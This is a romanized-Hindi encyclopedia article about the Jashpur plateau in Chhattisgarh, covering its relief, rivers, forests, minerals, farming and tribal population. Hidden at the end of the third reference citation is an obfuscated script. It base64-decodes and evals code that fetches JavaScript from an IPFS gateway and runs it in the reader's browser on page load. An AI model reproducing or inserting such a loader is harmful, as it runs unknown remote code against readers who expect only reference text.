जशपुर पाट
jashapur pat chhattisagadh rajy, madhy bharat mean jashapur zile tak phaila hua hai aur chhota nagapur ke pathar ka hissa hai. yah apani bhoo-vaijnanik sanrachana, vivartanik (tekt aaunik) itihas aur apekshakrit nam jalavayu ke karan asapas ke kshetroan se alag hai. yah pathar uttari bahari chhor se ubharata hai aur isaki sabase ooanchi sthalipray satah pashchim chhor par sthit hai. yah chhote, samatal shirsh vale patharoan aur paha diyoan se bana hai, jo ek-doosare se kagaroan aur nadi ghatiyoan ke zariye alag-alag haian.
bhaugolik visheshata
yahaan ka jal nikas mukhyat: uttari aur dakshini koil tatha damodar nadiyoan dvara hota hai. uttar mean 'oopari pat'[1] ki ooanchaee lagabhag 750 mitar se 1,006 mitar tak hai. dakshin mean 'nichala pat'[2] ki ooanchaee lagabhag 274 mitar se 503 mitar tak hai. jashapur pat ganga aur mahanadi jal-nikas tantr ke bich vibhajak ka kam karata hai. pat ke shirsh bhag amataur par banjar hai ya ghas ke maidan se dhake haian, aur inake dhalan vanachchhadit haian.[3]
shikhar v nadiyaan
'gash paha d' (988mitar) aur 'laki paha d' (1,013 mitar) jashapur pat ke do ooanche shikhar haian. 'maini', 'ib', 'maand' aur 'kuskal' nadiyoan ke karan sankari v patharili ghatiyoan ka nirman hota hai.
vanaspati
yahaan ki ushn, nam manasooni jalavayu pathar ki ooanchaee ke karan kuchh had tak parivartit ho gee hai. palash, khair, har da, abanoos aur sagaun ke shushk parnapati van pathar ki dhalanoan par sthit haian. isake bich-bich mean baans aur sabee ghas, mahattvapoorn bharatiy reshedar ghas, jise sthaniy bhasha mean 'bhabar' kahate hai; bhi paee jati haian. shushk kshetroan mean sal (shoriya) ke vriksh paye jate haian. ye jangal sthaniy santhal, uraanv, ho aur khariya janajatiyoan ko avas kshetr pradan karate haian.
khanij padarth
18vian shatabdi ke madhy tak ramagadh, kharadigha aur kaandi yahaan ki tin sattadhari sthaniy riyasate thian. bangal se is kshetr mean british shasan ka vistar hua. koyale v any khanijoan ke karan yahaan s dak aur relamarg banae ge. yah kshetr koyala, lauh ayask aur abhrak jaise khanij padarthoan mean kafi samriddh hai. yahaan choona-patthar, chini mitti, maianganiz, b aauksait, balua patthar, nirman samagri aur dolomait ka bhi khanan hota hai.[3]
krishi tatha vyavasay
chhota nagapur pathar ke is hisse ka adhikaansh bhag ab bhi gramin hai. yahaan kapas, chaval, makka, ganna, mooangaphali, tori, sarasoan, jvar-bajara aur phaloan ki kheti ki jati hai. yah kshetr ata, tilahan, ara mil aur imarati lak di ko sukhane, lohe, pital aur elyuminiyam ke auzar tatha bartan banane v tasar resham ke utpadan sanbandhi udyogoan ka keandr hai. yahaan any gatividhiyaan bhi panap rahi haian, jaise- lakh aur chap da sangrahan, krishi adharit udyog, jaise- chaval mil aur vanotpadoan ka prasanskaran visheshakar sabee ghas ka. arthik gatividhiyaan mukhy rel v s dak margo ke asapas hoti haian aur adhikaansh aandarooni hisse mean.
yatayat
yahaan avagaman ki bahut kam suvidhaean upalabdh haian. oopari kshetr ki janasankhya ka adhikaansh hissa uraanv, kanvar, goand, korava aur any janajatiy logoan ka hai, jo jangaloan ko saf karake banae ge kuchh hissoan mean rahate haian. is kshetr ka ekamatr mahattvapoorn shahar jashapur nagar hai.[3]
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tika tippani aur sandarbh
- ↑ sthaniy roop se ooparaghat ke nam se jnat
- ↑ sthaniy nam nichaghat
- ↑ 3.0 3.1 3.2 bharat jnanakosh, khand-2 |lekhak: iandoo ramachandani |prakashak: ensaiklopidiya britenika praivet limited, nee dilli |sankalan: bharatakosh pustakalay |prishth sankhya: 235 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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